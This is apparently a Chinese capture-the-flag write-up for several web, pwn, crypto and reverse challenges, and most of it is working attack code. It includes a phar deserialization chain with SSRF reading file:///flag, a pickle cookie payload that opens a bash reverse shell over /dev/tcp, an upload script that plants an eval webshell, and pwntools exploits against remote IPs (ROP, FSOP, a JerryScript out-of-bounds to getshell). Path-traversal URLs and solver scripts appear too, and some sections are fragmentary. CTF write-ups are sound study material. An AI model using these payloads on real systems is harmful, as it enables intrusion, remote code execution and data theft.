1. help: 帮助菜单
2. changepw: 修改密码 示例: changepw 123456
3. bugreport: 向管理员报告漏洞页面 示例: bugreport http://host:port/login
在 VPS 上构造上面这样的 1.html,然后让管理来访问,即bugreport http://vpsip/1.html
admin/123
登录管理员账户即可,登录后存在购买页面,经过测试,使用如下 payload 可以绕过检查,再访问主页面即可获得 flaghttp://47.104.95.124:8080/showfile.php?f=/demo.png/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/var/www/html/showfile.php
index.php
<?php
$upload = md5("2022qwb".$_SERVER['REMOTE_ADDR']);
@mkdir($upload, 0333, true);
if(isset($_POST['submit'])) {
include 'upload.php';
}
?>
<?php
error_reporting(0);
require_once('class.php');if(isset($_SESSION)){
if(isset($_GET['fname'])?!empty($_GET['fname']):FALSE){
$_FILES["file"]["name"] = $_GET['fname'];
}
$upload = new Upload();
$upload->upload();
}else {
die("<p class='tip'>guest can not upload file</p>");
}
?>
<?php
error_reporting(0);
require_once('class.php');
$filename = $_GET['f'];if(preg_match("/http|https|bzip2|gopher|dict|zlib|data|input|%00/i", $filename)){
die("nop");
}
else{
if(isset($_SESSION)){
$show = new AdminShow($filename);
$show->show();
}else{
if(preg_match('/guest|demo/i',$filename)) {
$show = new GuestShow($filename);
$show->show();
}else{
die("<p class='tip'>no permission, you can only see string 'demo' and 'guest'</p>");
}
}
}
?>
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
function do_upload() {
$filename = session_id().explode(".",$this->file["name"])[0].".jpg";
if(file_exists($filename)) {
unlink($filename);
}
move_uploaded_file($this->file["tmp_name"],md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$filename);
echo 'upload '."./".md5("2022qwb".$_SERVER['REMOTE_ADDR'])."/".$this->e($filename).' success!';
}
function e($str){
return htmlspecialchars($str);
}
function upload() {
if($this->check()) {
$this->do_upload();
}
}
function __toString(){
return $this->file["name"];
}
function __get($value){
$this->filesize->$value = $this->date;
echo $this->tmp;
}
function check() {
$allowed_types = array("jpg","png","jpeg");
$temp = explode(".",$this->file["name"]);
$extension = end($temp);
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo 'Invalid file!';
return false;
}
}
}
class GuestShow{
public $file;
public $contents;
public function __construct($file)
{ $this->file=$file;
}
function __toString(){
$str = $this->file->name;
return "";
}
function __get($value){
return $this->$value;
}
function show()
{
$this->contents = file_get_contents($this->file);
$src = "data:jpg;base64,".base64_encode($this->contents);
echo "<img src={$src} />";
}
function __destruct(){
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
$this->schema = 'file:///var/www/html/';
}
public function __toString()
{
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
$this->show();
return $this->$value;
}
public function __set($key,$value){
$this->$key = $value;
}
public function show(){
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = "data:jpg;base64,".base64_encode($response);
echo "<img src={$src} />";
}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
}
}
}
/proc/net/arp
,得到内网有两 IP:10.10.10.10
和10.10.10.101
class.php
中有一堆魔术方法,又存在文件上传和file_get_contents
,因此只需构造 phar 反序列化,上传后触发即可。构造代码在最后贴出。
文件上传需要设置$_SESSION
,这点可以通过设置PHP_SESSION_UPLOAD_PROGRESS
搞定。
在反序列化时 AdminShow 类的__wakeup
函数会设置 source 和 schema,从而让我们无法控制 ssrf 的地址,所以需要绕过__wakeup
,利用CVE-2016-7124,改大个数。但是 phar 修改后上传报错。
搜索发现这篇文章中类似的题目 http://www.yongsheng.site/2022/05/14/phar/
即修改类个数后需要重新计算签名
from hashlib import sha1file = open("exp.jpg","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时Sha1正确了。
open("exp2.jpg","wb").write(new_file)
PHP_SESSION_UPLOAD_PROGRESS
/showfile.php?f=phar://./3fddbdeeb265642d6506eb011d5f9dc6/sakai2.jpg/demo.txt
http://10.10.10.101/
读不到没内容,http://10.10.10.10
代码如下:由于 curl 支持 file 协议,直接 ssrf 访问http://10.10.10.10/?url=file:///flag
即可获得 flag
<?php
//exp.php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __construct(){
$this->file = $_FILES["file"];
}
}class GuestShow{
public $file;
public $contents;
public function __construct($file)
{
$this->file=$file;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __construct($file)
{
$this->source = $file;
}
}
$a = new AdminShow('aa');
$a->source='';
$a->schema=$argv[1]; //设置ssrf地址
$b = new GuestShow('aa');
$b->file=$a;
unlink('exp.jpg');
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'." __HALT_COMPILER();?>"); //设置stub,增加gif文件头
$phar ->addFromString('demo.txt','test'); //添加要压缩的文件
$phar -> setMetadata($b); //将自定义meta-data存入manifest
$phar -> stopBuffering();
rename('phar.phar','exp.jpg');
exp.py
如下:import requests
import os
from hashlib import sha1
import re
import base64# target= 'http://10.10.10.10/?url=http://10.10.10.101/'
target = 'http://10.10.10.10/?url=file:///flag'
os.system('php exp.php {}'.format(target))
f1 = open('exp.jpg','rb').read()
file = f1.replace(b'"AdminShow":4',b'"AdminShow":5')
text = file[:-28] # 读取开始到末尾除签名外内容
last = file[-8:] # 读取最后8位的GBMB和签名flag
new_file = text + sha1(text).digest() + last # 生成新的文件内容,主要是此时Sha1正确了。
open('exp2.jpg', "wb").write(new_file)
cookiename="sakai"
url='http://47.104.95.124:8080/'
headers={
"Cookie":'PHPSESSID='+cookiename
}
payload=open('exp2.jpg',"rb").read()
files={
'file':("exp2.jpg",payload)
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":'xxx',
'submit':'提交'
}
res=requests.post(url,files=files,data=data,headers=headers)
filepath = re.findall(r'upload\s{2}(.*)\ssuccess!',res.text)[0]
res = requests.get(url+'showfile.php?f=phar://'+filepath+'/demo.txt')
tmp = re.findall(r'<img src=data:jpg;base64,(.*) /><img src=data:jpg;base64, />',res.text)[0]
tmp = base64.b64decode(tmp)
# print(tmp)
with open('flag.html','wb') as f3:
f3.write(tmp)
print('done')
https://www.163.com/dy/article/G6J7KHJP0538S33I.html
,用如下 payload 可以反弹 shellimport requests
import re
import base64
import pickle
from flask import Flask, make_response,request, session
import pickletoolsurl='http://47.93.187.169:13528/'
burp0_url=url+'login'
burp0_cookies = {"userdata": "gAJjX19tYWluX18KVXNlcgpxACmBcQF9cQIoWAgAAAB1c2VybmFtZXEDWAUAAABzYWthaXEEWAUAAAB0b2tlbnEFigiStsURvzkoAXViLg==", "session": "eyJwYXNzd29yZCI6IjEyMyJ9.YuTtrQ.7cLupb8BOqZV4kOwBqdVhJkxYUQ"}
burp0_headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"username": "sakai", "password": "123"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
session = res.headers['Set-Cookie'].split(';')[3].split(',')[1].strip()
realsession = session[8:]
realuserdata=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o.'''
print(base64.b64encode(realuserdata))
realuserdata=base64.b64encode(realuserdata).decode()
print(realuserdata)
burp0_url = url+"balancer"
burp0_cookies = {"userdata": realuserdata, "session": realsession}
burp0_headers = {"Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
print(res.text)
import base64
from flask import Flask, make_response,request, session
import time
app = Flask(__name__,static_url_path='')
app.secret_key='hello'@app.route('/',methods=['GET','POST'])
def flag():
time.sleep(1000)
return 'success'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
存在 www.zip 文件
spl_autoload_register
函数,又存在文件上传,于是可以上传一个xxx.inc
文件,其中有一个同名 xxx 类,在 cookie 反序列化时即可实现类自动加载执行,文件名写脚本上传即可,脚本如下:import requests
import time
import hashlibname = hashlib.md5(str(int(time.time())).encode()).hexdigest()
burp0_url = "http://eci-2ze69f1lybic2yim76dd.cloudeci1.ichunqiu.com/upload.php"
burp0_cookies = { "userfile": "a%3A1%3A%7Bi%3A0%3Bs%3A36%3A%229b6d4595f0e44610087536aea53546ce.png%22%3B%7D"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com", "Upgrade-Insecure-Requests": "1", "DNT": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIA3mura5cNnbrw4S", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://eci-2ze10x6989pgnwt57n0z.cloudeci1.ichunqiu.com/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,ru;q=0.6", "Connection": "close"}
burp0_data = "------WebKitFormBoundaryIA3mura5cNnbrw4S\r\nContent-Disposition: form-data; name=\"file\"; filename=\"sakai.inc\"\r\nContent-Type: image/png\r\n\r\n<?php \nclass "+name+"{\n public function __wakeup(){\n eval($_REQUEST['sakai']);\n }\n}\r\n------WebKitFormBoundaryIA3mura5cNnbrw4S--\r\n"
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print(res.text)
# -*- coding: utf-8 -*-
from pwn import *
#p=process('./devnull')
p=remote('123.56.105.22',13870)
elf=ELF('./devnull')context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context.log_level='debug'
def debug():
gdb.attach(p)
pause()
def lg(name,val):
log.success(name+' : '+hex(val))
#debug()
p.recvuntil('filename')
payload=36*'a'+p64(0x3fe000)*4+p32(0x0000000000401354)#p32(0x4014D7)
#debug()
#0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
p.send(payload)
sleep(0.1)
p.send(p64(0x3fe000+0x28)+p64(0x401350)+p64(0x3fe000)+'/bin/sh\x00'*2+p64(0xdeadbeef)+p64(0x4012d0)+p64(0)+p64(0x3fe000+0x48)+asm(shellcraft.execve(0x3fe000+0x18,0,0)))
sleep(1)
p.sendline('exec 1>&2')
#debug()
p.interactive()
from Crypto.Util.number import *
import time
from binascii import hexlify, unhexlifydef all_printable(s):
for i in s:
if i in range(0x20, 0x7f):
continue
else:
return False
return True
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
a1 = 225933944608558304529179430753170813347
a2 = 260594583349478633632570848336184053653
a3 = 218566259296037866647273372633238739089
a4 = 223213222467584072959434495118689164399
PR.<x> = PolynomialRing(Zmod(a1))
f1 = x ^ e - c
a1_roots = [int(i[0]) for i in f1.monic().roots()]
PR.<x> = PolynomialRing(Zmod(a2))
f1 = x ^ e - c
a2_roots = [int(i[0]) for i in f1.monic().roots()]
PR.<x> = PolynomialRing(Zmod(a3))
f1 = x ^ e - c
a3_roots = [int(i[0]) for i in f1.monic().roots()]
PR.<x> = PolynomialRing(Zmod(a4))
f1 = x ^ e - c
a4_roots = [int(i[0]) for i in f1.monic().roots()]
for aa1 in a1_roots:
for aa2 in a2_roots:
for aa3 in a3_roots:
for aa4 in a4_roots:
tmp_solve = long_to_bytes(CRT_list([aa1, aa2, aa3, aa4], [a1, a2, a3, a4]))
if b'flag' in tmp_solve:
print(tmp_solve)
print("Down!")
from pwn import *
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256
import time
context.log_level="debug"p=remote('47.94.166.51',28033)
def brute_force(c,s):
return bruteforce(lambda x:sha256((x+c).encode("utf-8")).hexdigest()==s,string.ascii_letters+string.digits,length=4)
#data=conn.recvline(keepends=False)
data=str(p.recvline(),encoding='utf-8')
p.recvuntil('XXXX:')
s=parse("sha256(XXXX+{}) == {}\n",data)
p.sendline(brute_force(s[int(0)],s[int(1)]))
for i in range(40):
rx=p.recvline()[7:-1]
ax=p.recvline()[7:-1]
cx=p.recvline()[7:-1]
p.recvline()
r=sage_eval(str(rx)[2:-1],locals={'x':x})
c=sage_eval(str(cx)[2:-1],locals={'x':x})
a=sage_eval(str(ax)[2:-1],locals={'x':x})
bx=(r-c)/a
print(bx)
p.sendlineafter('> b(x) = ',str(bx))
# tmp=p.recvline()
p.recvuntil('Success!\n')
p.recvlines(10)
p.recv(1024,timeout=1)
from pwn import*
#p=process('./house_of_cat')
p=remote('123.56.45.155',18302)
libc=ELF('./libc.so.6')context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h'])
#context.log_level='debug'
def debug():
gdb.attach(p)
pause()
def lg(name,val):
log.success(name+' : '+hex(val))
def menu(idx):
p.recvuntil('choice:\n')
p.sendline(str(idx))
def add(idx,size,con):
p.recvuntil('mew mew mew~~~~~~\n')
p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
menu(1)
p.recvuntil('idx:\n')
p.sendline(str(idx))
p.recvuntil('size:\n')
p.sendline(str(size))
p.recvuntil('content:\n')
p.send(con)
def delete(idx):
p.recvuntil('mew mew mew~~~~~~\n')
p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
menu(2)
p.recvuntil('idx:\n')
p.sendline(str(idx))
def show(idx):
p.recvuntil('mew mew mew~~~~~~\n')
p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
menu(3)
p.recvuntil('idx:\n')
p.sendline(str(idx))
def edit(idx, con):
p.recvuntil('mew mew mew~~~~~~\n')
p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
menu(4)
p.recvuntil('idx:\n')
p.sendline(str(idx))
p.recvuntil('content:\n')
p.send(con)
p.recvuntil('mew mew mew~~~~~~\n')
p.send('LOGIN | r00t QWXFQWB QWXFadmin')
add(0,0x428,'aaa')
add(1,0x418,'aaa')
add(2,0x418,'aaa')
delete(0)
add(3,0x438,'aaa')
#debug()
show(0)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x21a0d0
p.recv(10)
heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290
lg('libc.address',libc.address)
lg('heap_base',heap_base)
#debug()
rop_addr=heap_base+0x1790
fake_io1=p64(0)*5
fake_io1+=p64(libc.sym['setcontext']+61)
fake_io1+=p64(0)*5
fake_io1+=p64(rop_addr)
fake_io1+=p64(2) + p64(0xffffffffffffffff)
fake_io1+=p64(0) + p64(libc.address+0x21ba60)
fake_io1+=p64(0xffffffffffffffff) + p64(0)
fake_io1+=p64(heap_base+0x340)+p64(libc.address+0x00000000001675b0)
fake_io1+=p64(0)*2
fake_io1+=p64(1)
fake_io1+=p64(0)*2
fake_io1+=p64(libc.address+0x2160c0-0xc0-0x20)#io_wfile_jumps vtable
fake_io1+=p64(0)
fake_io1+=p64(libc.sym['setcontext']+61)
fake_io1+=p64(0)*0x5
fake_io1+=p64(libc.address+0x000000000007498c)
fake_io1+=p64(0)*0xe
fake_io1+=p64(heap_base+0x340)
#debug()
add(9,0x428,fake_io1)
#debug()
add(8,0x428,'a')
add(7,0x438,'a')
add(6,0x418,'a')
delete(6)
delete(7)
delete(8)
delete(9)
add(0xa, 0x438,'a')
delete(2)
#debug()
edit(0,p64(libc.address+0x21a0d0)*2+p64(heap_base+0x290)+p64(libc.sym['stderr']-0x20))
#debug()
ret=libc.address+0x00000000000f872e
fake_io2=p64(0)+p64(rop_addr)
fake_io2+=p64(1)+p64(0)
fake_io2+=p64(libc.sym['setcontext']+61)
fake_io2+=p64(0)*13
fake_io2+=p64(heap_base+0xae0)
fake_io2=fake_io2.ljust(0xa0,'\x00')
fake_io2+=p64(heap_base+0xb00)+p64(ret)
add(4,0x438,fake_io2)
pop_rdi=libc.address+0x000000000002a3e5
pop_rsi=libc.address+0x000000000002be51
pop_rdx_r12=libc.address+0x000000000011f497
pop_rax=libc.address+0x0000000000045eb0
syscall=libc.address+0x0000000000091396
#debug()
rop='./flag\x00\x00'+p64(0)
rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(3)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(heap_base+0xaf0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(0)
rop+=p64(syscall)
rop+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap_base+0x1000)+p64(pop_rdx_r12)+p64(0x30)+p64(0)+p64(pop_rax)+p64(1)
rop+=p64(syscall)
#debug()
add(5,0x418,rop)
edit(6,p64(0)+p64(0x133))
#debug()
p.recvuntil('mew mew mew~~~~~~\n')
p.send('CAT | r00t QWXFQWB QWXF\xff\xff\xff\xff$')
menu(1)
p.recvuntil('idx:\n')
p.sendline(str(0xf))
p.recvuntil('size:\n')
#debug()
p.sendline(str(0x430))
(最后十分钟远程靶机连不上导致没有打通)
通过 bindiff 找到漏洞位于ecma_builtin_array_prototype_object_pop
:
当 array 对象进行 pop() 操作时,传入ecma_delete_fast_array_properties
为 len-2,导致在内部将 array.length 刷新为 len-2:
uint32_t
ecma_delete_fast_array_properties (ecma_object_t *object_p, /**< fast access mode array */
uint32_t new_length) /**< new length of the fast access mode array */
{
...
ext_obj_p->u.array.length = new_length;
...
}
如果当前 array.length 为 1,在 array.pop() 执行完毕,array.length = -1,可以进行数组越界访问。
利用方法:在jerry_heap
上伪造出一个 float 对象,使用 array 越界访问,通过 float 对象可以读取 jerry_heap 上的任意数据,这样可以 leak 出 pie 地址。然后构造两个存储 ArrayBuffer 的 DataView 对象,利用 array 越界修改 DataView1 的 length
然后通过 DataView1 修改 DataView2 的 buffer 指针进行任意读写,先通过 pie 计算 got 表地址 leak 出 libc 地址,再通过 environ 地址 leak stack 地址,最后在栈上返回地址布置 rop 链即可 getshell。
from pwn import *
context.log_level = 'debug'
p = process("./pwn")
#gdb.attach(p)
p.sendafter('pwn> ','''function f64_to_hex(f64v) {
var x = new Float64Array(1);
var y = new Uint8Array(x.buffer);
x[0] = f64v;
var hex_res = "0x";
for (var i = 7; i > -1; i--) {
hex_res += y[i].toString(16).padStart(2, "0");
}
return hex_res;
}var tmp = []
for (var i=0;i<0x200;i++)
tmp[i] = [0x1234];
var a = [0x2333];
var buffer = new ArrayBuffer(0x20)
data=new DataView(buffer,0,0x20)
var buffer2 = new ArrayBuffer(0x20)
data2=new DataView(buffer2,0,0x20)
var b = [0x6161,0x6262,0x6363,0x6464,a];
r = new ArrayBuffer(0x20);
var w = new Uint32Array(r);
var magic = 0x62
w[0] = 43<<3|2;
a.pop();
c = a[magic]
var pie = parseInt(f64_to_hex(c))
print(pie)
a[0x35] = 0x100
data.setUint32(0xc8,(pie+0x28641-0x10)&0xffffffff, true)
data.setUint32(0xc8+4,pie/0x100000000, true)
libc_base=data2.getUint32(0,true)+data2.getUint32(4,true)*0x100000000-0x61c90
print(libc_base)
data.setUint32(0xc4,0x3000, true)
data.setUint32(0xc8,(libc_base+0x1ed3a0)&0xffffffff, true)
data.setUint32(0xc8+4,(libc_base+0x1ed3a0)/0x100000000, true)
stack=data2.getUint32(0x2260,true)+data2.getUint32(0x2260+4,true)*0x100000000
print(stack)
data.setUint32(0xc8,(stack-0x148)&0xffffffff, true)
data.setUint32(0xc8+4,(stack-0x148)/0x100000000, true)
data2.setUint32(0x30,(libc_base+0x23b6b)&0xffffffff, true)
data2.setUint32(0x34,(libc_base+0x23b6b)/0x100000000, true)
data2.setUint32(0x38,(libc_base+0x23b6a)&0xffffffff, true)
data2.setUint32(0x3c,(libc_base+0x23b6a)/0x100000000, true)
data2.setUint32(0x40,(libc_base+0x1b45bd)&0xffffffff, true)
data2.setUint32(0x44,(libc_base+0x1b45bd)/0x100000000, true)
data2.setUint32(0x48,(libc_base+0x52290)&0xffffffff, true)
data2.setUint32(0x4c,(libc_base+0x52290)/0x100000000, true)'
'')
p.interactive()
漏洞点在于自己添加函数,然后把他加入 weaponlist 时,使用的 idx 索引和之前的 unisgned int8 不一样,是 char 类型的,这导致超过 127 时,会变成负数
#include <stdio.h>
void fight(int a){};
void merge(int a,int b){};
void destroy(int a){};
void upgrade(int a){};
void wuxiangdeyidao(){};
void zhanjinniuza(){};
void guobapenhuo(){};
void tiandongwanxiang(){};void a0(int a);
void a1(int a);
void ……(由于篇幅省略)
void a8(int a);
void a9(int a);
void b0(int a);
void b1(int a);
void ……(由于篇幅省略)
void b8(int a);
void b9(int a);
void c0(int a);
void c1(int a);
void ……(由于篇幅省略)
void c8(int a);
void c9(int a);
void d0(int a);
void d1(int a);
void ……(由于篇幅省略)
void d8(int a);
void d9(int a);
……………………
void y0(int a);
void y1(int a);
void ……(由于篇幅省略)
void y8(int a);
void y9(int a);
void z0(int a);
void z1(int a);
void z2(int a);
void z3(int a);
void z4(int a);
void gamestart()
{
tiandongwanxiang();
wuxiangdeyidao();
guobapenhuo();
wuxiangdeyidao();
a0(0);
a1(0);
……
a8(0);
a9(0);
b0(0);
b1(0);
……
b8(0);
b9(0);
c0(0);
c1(0);
……
c8(0);
c9(0);
d0(0);
d1(0);
……(由于篇幅省略qaq)
x8(0);
x9(0);
y0(0);
y1(0x59);
y2(0);
……
y8(0);
y9(0);
z0(0);
z1(0);
……
z8(0);
z9(0);
y1(0xab);
fight(0);
}
from idc import *
from capstone import *
from keystone import *md = Cs(CS_ARCH_X86, CS_MODE_32)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
new_code_ea = 0x96150
new_code = b''
def mydis(code, addr=0):
for i in md.disasm(code, addr):
return ('%s %s' %(i.mnemonic, i.op_str))
def myasm(dis_txt, addr=0):
encoding, count = ks.asm(dis_txt, addr=addr)
return bytes(encoding)
start_ea = 0x48F4
end_ea = 0x61B6
class Block:
def __init__(self, start_ea, end_ea, imm, reg, call_target):
self.start_ea = start_ea
self.end_ea = end_ea
self.imm = imm
self.reg = reg
self.call_target = call_target
regnums = []
def get_block(start_ea):
global new_code, new_code_ea
mnem_list = ['pushf', 'pusha', 'mov', 'call', 'pop']
ea = start_ea
i = 0
while i < 5:
mnem = idc.print_insn_mnem(ea)
if mnem_list[i%5] != mnem:
if i%5 == 0:
if ea == 0x4915:
dis = 'mov ebx, 0x491a'
else:
dis = mydis(idc.get_bytes(ea, idc.get_item_size(ea)), ea)
new_code += myasm(dis, new_code_ea + len(new_code))
#print('ea=%x, dis=%s' %(ea, dis))
ea += idc.get_item_size(ea)
start_ea = ea
continue
#print('ea=%x, mnem=%s' %(ea, mnem))
raise 0
if mnem == 'mov':
imm = idc.get_operand_value(ea, 1)
# 17 -> cl, 18 -> dl, 19 -> bl
reg = idc.get_operand_value(ea, 0) #reg_id
'''
if reg not in regnums:
print ('reg=%s, ea=%x' %(reg, ea))
regnums.append(reg)
'''
if mnem == 'call':
call_target = idc.get_operand_value(ea, 0)
i += 1
ea += idc.get_item_size(ea)
return Block(start_ea, ea, imm, reg, call_target)
def get_real_code(block):
global new_code, new_code_ea
ea = block.call_target
while True:
mnem = idc.print_insn_mnem(ea)
if mnem == 'cmp':
reg = idc.get_operand_value(ea, 0)
imm = idc.get_operand_value(ea, 1)
if (reg == block.reg) & (imm == block.imm):
break
ea += idc.get_item_size(ea)
ea += idc.get_item_size(ea)
mnem = idc.print_insn_mnem(ea)
if mnem != 'jnz':
assert 0
ea += idc.get_item_size(ea)
mnem = idc.print_insn_mnem(ea)
if mnem != 'popa':
assert 0
ea += idc.get_item_size(ea)
mnem = idc.print_insn_mnem(ea)
if mnem != 'popf':
assert 0
if ea == 0x45CD:
print ('ea=0x45ce: dis=retn')
new_code += b'\xc3'
return
while True:
ea += idc.get_item_size(ea)
mnem = idc.print_insn_mnem(ea)
if mnem == 'jmp':
break
dis = mydis(idc.get_bytes(ea, idc.get_item_size(ea)), ea)
print ('block=%x, ea=%x, dis=%s' %(block.start_ea, ea, dis))
new_code += myasm(dis, new_code_ea+len(new_code))
funs = []
ea = start_ea
count = 0
while ea < end_ea:
myblock = get_block(ea)
print ('ea=%x, new_ea=%x' %(myblock.start_ea, new_code_ea+len(new_code)))
get_real_code(myblock)
count += 1
ea = myblock.end_ea
if myblock.call_target not in funs:
funs.append(myblock.call_target)
print ('count=%d' %count)
#for i in range(new_code_ea, new_code_ea+len(new_code)):
# del_items(i)
ea = 0x48C8
end_ea = 0x48F3
while ea < end_ea:
myblock = get_block(ea)
print ('ea=%x, new_ea=%x' %(myblock.start_ea, new_code_ea+len(new_code)))
get_real_code(myblock)
ea = myblock.end_ea
ida_bytes.patch_bytes(new_code_ea, new_code+b'\xc3')
'''
for fun in funs:
print ('fun=%x' %fun)
print (len(funs))
print ('finish')
'''
from z3 import *
flag = [BitVec('x%d' % i, 8) for i in range(28)]
s = Solver()v5 = 40085 * flag[3]- 222506 * flag[2]+ 54507 * flag[4]+ 88056 * flag[1]+ 212571 * flag[5]- 160722 * flag[0]-0x6A31D
s.add(v5==0)
v5 = 49300 * flag[3]+ 259229 * flag[0]+ 278066 * flag[2]- 127937 * flag[1]- 295169 * flag[4]- 8368677
s.add(v5==0)
v5 = 42214 * flag[1]- 108025 * flag[3]+ 205972 * flag[0]+ 27559 * flag[2]- 17114904
s.add(v5==0)
v5 = - 151496 * flag[1]+ 204740 * flag[0]+ 80143 * flag[2]- 12295783
s.add(v5==0)
v5 = 241935 * flag[1]+ 124128 * flag[0]- 38790036+ 273221 * flag[0]- 27868542
s.add(v5==0)
v6 = -279656 * flag[2]- 199574 * flag[1]- 258130 * flag[8]- 200399 * flag[3]- 173903 * flag[7]+ 175816 * flag[0]- 234569 * flag[6]- 108273 * flag[4]- 222957 * flag[5]+ 128244179
s.add(v6==0)
v6 = - 81541 * flag[1]- 268763 * flag[0]+ 219073 * flag[3]+ 34782 * flag[6]+ 21153 * flag[5]+ 173005 * flag[7]+ 76285 * flag[4]+ 32825 * flag[2]- 13874925
s.add(v6==0)
v6 = 85214 * flag[2]- 268299 * flag[3]- 230981 * flag[1]+ 290772 * flag[5]- 74394 * flag[4]+ 28044 * flag[6]- 242995 * flag[0]+ 50871139
s.add(v6==0)
v7 = -208564 * flag[0] + 81934 * flag[9] - 106641 * flag[7] + 198477 * flag[2] + 154505 * flag[1] + 48440 * flag[5] - 149004 * flag[3] - 108909 * flag[4] - 51714 * flag[10] - 296420 * flag[8] + 263021 * flag[6] + 688726
s.add(v7==0)
v7 = - 131130 * flag[2] + 224265 * flag[3] + 230702 * flag[0] - 176285 * flag[7] - 274778 * flag[4] + 103848 * flag[8] - 136039 * flag[9] - 241151 * flag[5] + 15542 * flag[6] - 17521 * flag[1] + 41644083
s.add(v7==0)
v8 = 195056 * flag[4]- 15717 * flag[9]- 180214 * flag[6]- 114427 * flag[5]+ 277782 * flag[7]+ 261379 * flag[8]- 225266 * flag[2]+ 107609 * flag[0]+ 259792 * flag[3]+ 270563 * flag[11]+ 205124 * flag[1]+ 138334 * flag[10]+ 103474 * flag[12]- 117027475
s.add(v8==0)
v8 = 189573 * flag[8]+ 64393 * flag[6]+ 231137 * flag[1]+ 145315 * flag[4]- 53938 * flag[10]- 291345 * flag[5]+ 216413 * flag[3]- 204681 * flag[0]- 65519 * flag[9]- 262826 * flag[2]+ 187002 * flag[7]+ 271732 * flag[11]- 38663722
s.add(v8==0)
